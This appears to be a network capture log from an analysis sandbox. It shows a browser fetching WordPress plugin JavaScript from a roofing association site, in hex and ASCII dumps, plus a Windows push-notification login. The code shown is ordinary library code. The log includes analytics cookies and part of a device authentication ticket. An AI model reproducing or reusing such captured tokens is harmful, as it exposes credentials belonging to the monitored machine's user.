Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49779	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:46 UTC	715	OUT	GET /wp-content/plugins/content-views-query-and-display-post-page/public/assets/js/cv.js?ver=3.6.4 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:46 UTC	545	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:46 GMT Content-Type: text/javascript Content-Length: 23419 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:11:43 GMT ETag: "62003e-5b7b-6138f8b99b07e" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:46 UTC	7647	IN	Data Raw: 2f 2a 21 20 63 6f 6e 74 65 6e 74 2d 76 69 65 77 73 20 30 36 2d 32 30 32 33 20 2a 2f 0d 0a 2f 2a 21 0d 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 33 2e 34 2e 31 20 28 68 74 74 70 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 39 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0d 0a 20 2a 2f 0d 0a 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 53 63 72 69 70 74 20 72 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 22 29 3b 2b 66 75 6e 63 74 69 Data Ascii: /! content-views 06-2023 //! Bootstrap v3.4.1 (http://getbootstrap.com) * Copyright 2011-2019 Twitter, Inc. * Licensed under the MIT license */if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+functi
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 49 54 49 4f 4e 5f 44 55 52 41 54 49 4f 4e 29 3a 65 2e 63 61 6c 6c 28 74 68 69 73 29 7d 7d 7d 2c 64 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 67 67 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 68 61 73 43 6c 61 73 73 28 22 69 6e 22 29 3f 22 68 69 64 65 22 3a 22 73 68 6f 77 22 5d 28 29 7d 2c 64 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 50 61 72 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 28 64 6f 63 75 6d 65 6e 74 29 2e 66 69 6e 64 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 70 61 72 65 6e 74 29 2e 66 69 6e 64 28 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 63 76 63 6f 6c 6c 61 70 73 65 22 5d 5b 64 61 74 61 2d 70 61 72 65 6e 74 3d 22 27 2b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 70 61 Data Ascii: ITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(document).find(this.options.parent).find('[data-toggle="cvcollapse"][data-parent="'+this.options.pa
2024-04-23 14:53:46 UTC	7580	IN	Data Raw: 2e 66 69 72 73 74 26 26 28 68 3d 74 68 69 73 2e 62 75 69 6c 64 50 61 67 65 49 74 65 6d 28 22 66 69 72 73 74 22 2c 65 2e 66 69 72 73 74 29 2c 68 26 26 66 2e 61 70 70 65 6e 64 28 68 29 29 2c 65 2e 70 72 65 76 26 26 28 69 3d 74 68 69 73 2e 62 75 69 6c 64 50 61 67 65 49 74 65 6d 28 22 70 72 65 76 22 2c 65 2e 70 72 65 76 29 2c 69 26 26 66 2e 61 70 70 65 6e 64 28 69 29 29 2c 6d 3d 30 3b 6d 3c 65 2e 6c 65 6e 67 74 68 3b 6d 2b 3d 31 29 6c 3d 74 68 69 73 2e 62 75 69 6c 64 50 61 67 65 49 74 65 6d 28 22 70 61 67 65 22 2c 65 5b 6d 5d 29 2c 6c 26 26 66 2e 61 70 70 65 6e 64 28 6c 29 3b 65 2e 6e 65 78 74 26 26 28 6a 3d 74 68 69 73 2e 62 75 69 6c 64 50 61 67 65 49 74 65 6d 28 22 6e 65 78 74 22 2c 65 2e 6e 65 78 74 29 2c 6a 26 26 66 2e 61 70 70 65 6e 64 28 6a 29 29 2c 65 Data Ascii: .first&&(h=this.buildPageItem("first",e.first),h&&f.append(h)),e.prev&&(i=this.buildPageItem("prev",e.prev),i&&f.append(i)),m=0;m<e.length;m+=1)l=this.buildPageItem("page",e[m]),l&&f.append(l);e.next&&(j=this.buildPageItem("next",e.next),j&&f.append(j)),e

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49778	20.25.241.18	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:46 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 36 71 76 73 42 45 2f 36 39 6b 43 6f 38 38 2f 58 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 34 30 38 66 34 62 62 65 39 61 37 32 32 31 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 6qvsBE/69kCo88/X.1Context: 9408f4bbe9a72218
2024-04-23 14:53:46 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-23 14:53:46 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 36 71 76 73 42 45 2f 36 39 6b 43 6f 38 38 2f 58 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 34 30 38 66 34 62 62 65 39 61 37 32 32 31 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 6c 62 2b 57 67 59 4e 43 38 55 37 6b 51 50 4a 79 72 44 31 34 53 77 45 71 2f 55 47 65 57 78 34 7a 74 51 6b 6b 30 53 57 61 66 59 30 6d 78 4d 34 46 4d 2f 56 61 6f 56 4d 51 53 65 36 50 68 52 57 4b 30 68 2f 4c 6a 30 52 35 5a 56 68 35 61 71 57 4c 37 31 49 64 33 51 32 50 48 75 56 47 69 55 70 6a 54 5a 47 53 69 38 66 42 4c 6f 4c 77 Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: 6qvsBE/69kCo88/X.2Context: 9408f4bbe9a72218<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQlb+WgYNC8U7kQPJyrD14SwEq/UGeWx4ztQkk0SWafY0mxM4FM/VaoVMQSe6PhRWK0h/Lj0R5ZVh5aqWL71Id3Q2PHuVGiUpjTZGSi8fBLoLw
2024-04-23 14:53:46 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 36 71 76 73 42 45 2f 36 39 6b 43 6f 38 38 2f 58 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 34 30 38 66 34 62 62 65 39 61 37 32 32 31 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 6qvsBE/69kCo88/X.3Context: 9408f4bbe9a72218<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-23 14:53:46 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-23 14:53:46 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 36 7a 61 52 42 63 68 74 38 45 6d 38 6e 63 6c 48 59 72 72 65 70 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 6zaRBcht8Em8nclHYrrepg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49781	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:46 UTC	703	OUT	GET /wp-content/plugins/pt-content-views-pro/public/assets/js/cvpro.min.js?ver=5.1.2.2 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:46 UTC	549	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:46 GMT Content-Type: text/javascript Content-Length: 156738 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "152050d-26442-5b419ed3e04c0" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:46 UTC	7643	IN	Data Raw: 2f 2a 21 20 63 6f 6e 74 65 6e 74 2d 76 69 65 77 73 2d 70 72 6f 20 30 33 2d 32 30 31 38 20 2a 2f 0a 2f 2a 21 0a 20 43 6f 6c 6f 72 62 6f 78 20 76 31 2e 35 2e 34 0a 20 28 63 29 20 32 30 31 34 20 4a 61 63 6b 20 4d 6f 6f 72 65 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 61 63 6b 6c 6d 6f 6f 72 65 2e 63 6f 6d 2f 63 6f 6c 6f 72 62 6f 78 0a 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 63 2c 64 2c 65 29 7b 76 61 72 20 66 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 63 29 3b 72 65 74 75 72 6e 20 64 26 26 28 66 2e 69 64 3d 5f 2b 64 29 2c 65 26 26 28 66 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 65 29 2c 61 28 66 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 72 65 74 75 Data Ascii: /! content-views-pro 03-2018 //! Colorbox v1.5.4 (c) 2014 Jack Moore - http://www.jacklmoore.com/colorbox MIT License /!function(a,b,c){function d(c,d,e){var f=b.createElement(c);return d&&(f.id=_+d),e&&(f.style.cssText=e),a(f)}function e(){retu
2024-04-23 14:53:47 UTC	8192	IN	Data Raw: 65 20 69 66 28 21 65 5b 30 5d 29 72 65 74 75 72 6e 20 65 3b 72 65 74 75 72 6e 20 65 5b 30 5d 3f 28 70 28 29 2c 71 28 29 26 26 28 63 26 26 28 62 2e 6f 6e 43 6f 6d 70 6c 65 74 65 3d 63 29 2c 65 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 61 2e 64 61 74 61 28 74 68 69 73 2c 24 29 7c 7c 7b 7d 3b 61 2e 64 61 74 61 28 74 68 69 73 2c 24 2c 61 2e 65 78 74 65 6e 64 28 63 2c 62 29 29 7d 29 2e 61 64 64 43 6c 61 73 73 28 61 62 29 2c 64 3d 6e 65 77 20 66 28 65 5b 30 5d 2c 62 29 2c 64 2e 67 65 74 28 22 6f 70 65 6e 22 29 26 26 6f 28 65 5b 30 5d 29 29 2c 65 29 3a 65 7d 2c 58 2e 70 6f 73 69 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 77 5b 30 5d 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 7a 5b 30 5d Data Ascii: e if(!e[0])return e;return e[0]?(p(),q()&&(c&&(b.onComplete=c),e.each(function(){var c=a.data(this,$)\|\|{};a.data(this,$,a.extend(c,b))}).addClass(ab),d=new f(e[0],b),d.get("open")&&o(e[0])),e):e},X.position=function(b,c){function d(){w[0].style.width=z[0]
2024-04-23 14:53:47 UTC	8192	IN	Data Raw: 65 3d 22 64 69 76 22 3d 3d 3d 64 7c 7c 22 73 70 61 6e 22 3d 3d 3d 64 2c 62 2e 69 64 7c 7c 28 74 68 69 73 2e 75 75 69 64 2b 3d 31 2c 62 2e 69 64 3d 22 64 70 22 2b 74 68 69 73 2e 75 75 69 64 29 2c 66 3d 74 68 69 73 2e 5f 6e 65 77 49 6e 73 74 28 61 28 62 29 2c 65 29 2c 66 2e 73 65 74 74 69 6e 67 73 3d 61 2e 65 78 74 65 6e 64 28 7b 7d 2c 63 7c 7c 7b 7d 29 2c 22 69 6e 70 75 74 22 3d 3d 3d 64 3f 74 68 69 73 2e 5f 63 6f 6e 6e 65 63 74 44 61 74 65 70 69 63 6b 65 72 28 62 2c 66 29 3a 65 26 26 74 68 69 73 2e 5f 69 6e 6c 69 6e 65 44 61 74 65 70 69 63 6b 65 72 28 62 2c 66 29 7d 2c 5f 6e 65 77 49 6e 73 74 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 65 3d 62 5b 30 5d 2e 69 64 2e 72 65 70 6c 61 63 65 28 2f 28 5b 5e 41 2d 5a 61 2d 7a 30 2d 39 5f 5c 2d 5d 29 Data Ascii: e="div"===d\|\|"span"===d,b.id\|\|(this.uuid+=1,b.id="dp"+this.uuid),f=this._newInst(a(b),e),f.settings=a.extend({},c\|\|{}),"input"===d?this._connectDatepicker(b,f):e&&this._inlineDatepicker(b,f)},_newInst:function(b,c){var e=b[0].id.replace(/([^A-Za-z0-9_\-])
2024-04-23 14:53:47 UTC	8192	IN	Data Raw: 65 74 2c 62 2e 63 74 72 6c 4b 65 79 3f 2d 61 2e 63 76 70 5f 64 61 74 65 70 69 63 6b 65 72 2e 5f 67 65 74 28 66 2c 22 73 74 65 70 42 69 67 4d 6f 6e 74 68 73 22 29 3a 2d 61 2e 63 76 70 5f 64 61 74 65 70 69 63 6b 65 72 2e 5f 67 65 74 28 66 2c 22 73 74 65 70 4d 6f 6e 74 68 73 22 29 2c 22 4d 22 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 38 3a 28 62 2e 63 74 72 6c 4b 65 79 7c 7c 62 2e 6d 65 74 61 4b 65 79 29 26 26 61 2e 63 76 70 5f 64 61 74 65 70 69 63 6b 65 72 2e 5f 61 64 6a 75 73 74 44 61 74 65 28 62 2e 74 61 72 67 65 74 2c 2d 37 2c 22 44 22 29 2c 67 3d 62 2e 63 74 72 6c 4b 65 79 7c 7c 62 2e 6d 65 74 61 4b 65 79 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 28 62 2e 63 74 72 6c 4b 65 79 7c 7c 62 2e 6d 65 74 61 4b 65 79 29 26 26 61 2e 63 76 70 5f 64 61 74 65 70 Data Ascii: et,b.ctrlKey?-a.cvp_datepicker._get(f,"stepBigMonths"):-a.cvp_datepicker._get(f,"stepMonths"),"M");break;case 38:(b.ctrlKey\|\|b.metaKey)&&a.cvp_datepicker._adjustDate(b.target,-7,"D"),g=b.ctrlKey\|\|b.metaKey;break;case 39:(b.ctrlKey\|\|b.metaKey)&&a.cvp_datep
2024-04-23 14:53:47 UTC	8192	IN	Data Raw: 65 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 69 66 28 6e 75 6c 6c 3d 3d 62 7c 7c 6e 75 6c 6c 3d 3d 63 29 74 68 72 6f 77 22 49 6e 76 61 6c 69 64 20 61 72 67 75 6d 65 6e 74 73 22 3b 69 66 28 63 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 63 3f 63 2e 74 6f 53 74 72 69 6e 67 28 29 3a 63 2b 22 22 2c 22 22 3d 3d 3d 63 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 65 2c 66 2c 67 2c 68 2c 69 3d 30 2c 6a 3d 28 64 3f 64 2e 73 68 6f 72 74 59 65 61 72 43 75 74 6f 66 66 3a 6e 75 6c 6c 29 7c 7c 74 68 69 73 2e 5f 64 65 66 61 75 6c 74 73 2e 73 68 6f 72 74 59 65 61 72 43 75 74 6f 66 66 2c 6b 3d 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 6a 3f 6a 3a 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 46 75 6c 6c 59 65 61 72 28 29 25 31 30 30 2b 70 61 Data Ascii: e:function(b,c,d){if(null==b\|\|null==c)throw"Invalid arguments";if(c="object"==typeof c?c.toString():c+"",""===c)return null;var e,f,g,h,i=0,j=(d?d.shortYearCutoff:null)\|\|this._defaults.shortYearCutoff,k="string"!=typeof j?j:(new Date).getFullYear()%100+pa
2024-04-23 14:53:47 UTC	8192	IN	Data Raw: 73 3d 27 6a 71 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 70 72 65 76 20 6a 71 75 69 2d 63 6f 72 6e 65 72 2d 61 6c 6c 20 6a 71 75 69 2d 73 74 61 74 65 2d 64 69 73 61 62 6c 65 64 27 20 74 69 74 6c 65 3d 27 22 2b 63 2b 22 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 6a 71 75 69 2d 69 63 6f 6e 20 6a 71 75 69 2d 69 63 6f 6e 2d 63 69 72 63 6c 65 2d 74 72 69 61 6e 67 6c 65 2d 22 2b 28 51 3f 22 65 22 3a 22 77 22 29 2b 22 27 3e 22 2b 63 2b 22 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 22 2c 65 3d 74 68 69 73 2e 5f 67 65 74 28 61 2c 22 6e 65 78 74 54 65 78 74 22 29 2c 65 3d 54 3f 74 68 69 73 2e 66 6f 72 6d 61 74 44 61 74 65 28 65 2c 74 68 69 73 2e 5f 64 61 79 6c 69 67 68 74 53 61 76 69 6e 67 41 64 6a 75 73 74 28 6e 65 77 20 44 61 74 65 28 61 62 2c 5f 2b 57 2c 31 29 29 2c 74 Data Ascii: s='jqui-datepicker-prev jqui-corner-all jqui-state-disabled' title='"+c+"'><span class='jqui-icon jqui-icon-circle-triangle-"+(Q?"e":"w")+"'>"+c+"</span></a>",e=this._get(a,"nextText"),e=T?this.formatDate(e,this._daylightSavingAdjust(new Date(ab,_+W,1)),t
2024-04-23 14:53:47 UTC	8192	IN	Data Raw: 5f 64 61 74 65 70 69 63 6b 65 72 2e 64 70 44 69 76 29 3b 76 61 72 20 63 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 3b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 62 7c 7c 22 69 73 44 69 73 61 62 6c 65 64 22 21 3d 3d 62 26 26 22 67 65 74 44 61 74 65 22 21 3d 3d 62 26 26 22 77 69 64 67 65 74 22 21 3d 3d 62 3f 22 6f 70 74 69 6f 6e 22 3d 3d 3d 62 26 26 32 3d 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 2e 63 76 70 5f 64 61 74 65 70 69 63 6b 65 72 5b 22 5f 22 2b 62 2b 22 44 61 74 65 70 69 63 6b 65 72 22 5d 2e 61 70 70 6c 79 28 61 2e 63 76 70 5f 64 61 74 Data Ascii: _datepicker.dpDiv);var c=Array.prototype.slice.call(arguments,1);return"string"!=typeof b\|\|"isDisabled"!==b&&"getDate"!==b&&"widget"!==b?"option"===b&&2===arguments.length&&"string"==typeof arguments[1]?a.cvp_datepicker["_"+b+"Datepicker"].apply(a.cvp_dat
2024-04-23 14:53:47 UTC	8192	IN	Data Raw: 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 68 69 73 2c 63 3d 5b 5d 2e 73 6c 69 63 65 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 62 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 3b 76 61 72 20 64 3d 63 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 7b 76 61 72 20 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 66 2e 70 72 6f 74 6f 74 79 70 65 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 76 61 72 20 66 3d 6e 65 77 20 66 2c 67 3d 62 2e 61 70 70 6c 79 28 66 2c 64 2e 63 6f 6e 63 61 74 28 63 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 29 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 67 29 3d 3d 3d 67 3f 67 3a 66 7d Data Ascii: ion(a){var b=this,c=[].slice;if("function"!=typeof b)throw new TypeError;var d=c.call(arguments,1),e=function(){if(this instanceof e){var f=function(){};f.prototype=b.prototype;var f=new f,g=b.apply(f,d.concat(c.call(arguments)));return Object(g)===g?g:f}
2024-04-23 14:53:47 UTC	8192	IN	Data Raw: 22 2b 74 68 69 73 2e 70 6c 75 67 69 6e 5f 63 6f 75 6e 74 29 2c 74 68 69 73 2e 24 63 61 63 68 65 2e 62 6f 64 79 2e 6f 66 66 28 22 6d 6f 75 73 65 6d 6f 76 65 2e 69 72 73 5f 22 2b 74 68 69 73 2e 70 6c 75 67 69 6e 5f 63 6f 75 6e 74 29 2c 74 68 69 73 2e 24 63 61 63 68 65 2e 77 69 6e 2e 6f 66 66 28 22 74 6f 75 63 68 65 6e 64 2e 69 72 73 5f 22 2b 74 68 69 73 2e 70 6c 75 67 69 6e 5f 63 6f 75 6e 74 29 2c 74 68 69 73 2e 24 63 61 63 68 65 2e 77 69 6e 2e 6f 66 66 28 22 6d 6f 75 73 65 75 70 2e 69 72 73 5f 22 2b 74 68 69 73 2e 70 6c 75 67 69 6e 5f 63 6f 75 6e 74 29 2c 67 26 26 28 74 68 69 73 2e 24 63 61 63 68 65 2e 62 6f 64 79 2e 6f 66 66 28 22 6d 6f 75 73 65 75 70 2e 69 72 73 5f 22 2b 74 68 69 73 2e 70 6c 75 67 69 6e 5f 63 6f 75 6e 74 29 2c 74 68 69 73 2e 24 63 61 63 Data Ascii: "+this.plugin_count),this.$cache.body.off("mousemove.irs_"+this.plugin_count),this.$cache.win.off("touchend.irs_"+this.plugin_count),this.$cache.win.off("mouseup.irs_"+this.plugin_count),g&&(this.$cache.body.off("mouseup.irs_"+this.plugin_count),this.$cac
2024-04-23 14:53:47 UTC	8192	IN	Data Raw: 28 74 68 69 73 2e 63 6f 6f 72 64 73 2e 70 5f 73 69 6e 67 6c 65 5f 72 65 61 6c 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 66 72 6f 6d 22 3a 69 66 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 66 72 6f 6d 5f 66 69 78 65 64 29 62 72 65 61 6b 3b 74 68 69 73 2e 63 6f 6f 72 64 73 2e 70 5f 66 72 6f 6d 5f 72 65 61 6c 3d 74 68 69 73 2e 63 6f 6e 76 65 72 74 54 6f 52 65 61 6c 50 65 72 63 65 6e 74 28 61 29 2c 74 68 69 73 2e 63 6f 6f 72 64 73 2e 70 5f 66 72 6f 6d 5f 72 65 61 6c 3d 74 68 69 73 2e 63 61 6c 63 57 69 74 68 53 74 65 70 28 74 68 69 73 2e 63 6f 6f 72 64 73 2e 70 5f 66 72 6f 6d 5f 72 65 61 6c 29 2c 74 68 69 73 2e 63 6f 6f 72 64 73 2e 70 5f 66 72 6f 6d 5f 72 65 61 6c 3e 74 68 69 73 2e 63 6f 6f 72 64 73 2e 70 5f 74 6f 5f 72 65 61 6c 26 26 28 74 68 69 73 2e 63 6f 6f 72 Data Ascii: (this.coords.p_single_real);break;case"from":if(this.options.from_fixed)break;this.coords.p_from_real=this.convertToRealPercent(a),this.coords.p_from_real=this.calcWithStep(this.coords.p_from_real),this.coords.p_from_real>this.coords.p_to_real&&(this.coor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49783	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
